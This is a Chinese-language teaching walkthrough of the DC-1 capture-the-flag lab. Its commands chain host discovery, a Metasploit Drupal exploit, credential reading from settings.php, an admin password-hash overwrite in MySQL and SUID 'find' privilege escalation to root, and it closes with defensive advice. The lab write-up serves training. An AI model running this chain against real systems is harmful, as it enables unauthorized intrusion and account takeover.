DC-1靶场
字数 1099 2025-08-10 23:41:53
DC-1靶场渗透测试教学文档
1. 靶场环境搭建
下载与安装
- 下载地址: https://www.five86.com/downloads.html
- 解压后安装虚拟机
- 网络模式选择NAT模式(与Kali攻击机同一网段)
2. 信息收集阶段
发现目标IP
使用以下命令扫描本地网络:
sudo netdiscover -i eth0 -r 192.168.229.0/24
# 或
sudo arp-scan -l
示例发现IP: 192.168.229.168
端口扫描与服务识别
nmap -sV 192.168.229.168
典型扫描结果:
- 22端口: SSH服务
- 80端口: HTTP服务(Drupal框架)
- 111端口: rpcbind服务
3. 渗透测试阶段
Drupal漏洞利用
- 使用Metasploit搜索Drupal相关漏洞:
msfconsole
search Drupal
- 选择可用的exploit(示例中使用序号1):
use 1
show options
set RHOSTS 192.168.229.168
run
获取交互式shell
成功利用后获取shell:
python -c 'import pty;pty.spawn("/bin/bash")'
发现flag1
ls
cat flag1.txt
flag1提示: "每个好的CMS框架都有配置文件"
查找Drupal配置文件
Drupal配置文件路径通常为:
/sites/default/settings.php
查看内容:
cat /var/www/sites/default/settings.php
发现flag2和数据库凭据:
- 数据库名: drupaldb
- 用户名: dbuser
- 密码: R0ck3t
4. 数据库操作
连接MySQL数据库
mysql -u dbuser -pR0ck3t
数据库查询
show databases;
use drupaldb;
show tables;
select * from users;
可看到用户和加密的密码
修改管理员密码
- 使用Drupal的密码哈希脚本生成新密码哈希:
cd /var/www/scripts/
php password-hash.sh 123456
- 更新数据库:
update users set pass="$S$DlOpquKGPrOIP7mdYcaPDlr8lEb/arzt1zOh8HXfjseFyZRGpFBf" where name="admin";
登录后台获取flag3
使用admin/123456登录Drupal后台,在Content模块下找到flag3:
提示: "Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow."
5. 权限提升
查找flag4
find / -name flag4.txt
cat /home/flag4/flag4.txt
提示需要root权限
SUID提权
- 查找具有SUID权限的文件:
find / -user root -perm -4000 -print 2>/dev/null
# 或
find / -perm -u=s -type f 2>/dev/null
- 发现find命令具有SUID权限,利用它提权:
find / -exec "/bin/bash" -p \;
- 获取root权限后查找最终flag:
find / -name 'flag*'
cat /root/thefinalflag.txt
关键知识点总结
- 信息收集: 使用netdiscover/arp-scan发现目标,nmap识别服务
- 漏洞利用: Metasploit框架对Drupal的利用
- 配置文件泄露: Drupal的settings.php包含敏感信息
- 数据库操作: 通过数据库凭据修改用户密码
- 权限提升: 利用SUID权限的find命令进行提权
- 标志获取: 遵循每个flag的提示逐步深入
防御建议
- 及时更新CMS系统和插件
- 配置文件设置适当权限(如settings.php设置为只读)
- 数据库使用强密码且不与系统其他账户共用
- 限制具有SUID权限的命令数量
- 定期进行安全审计和渗透测试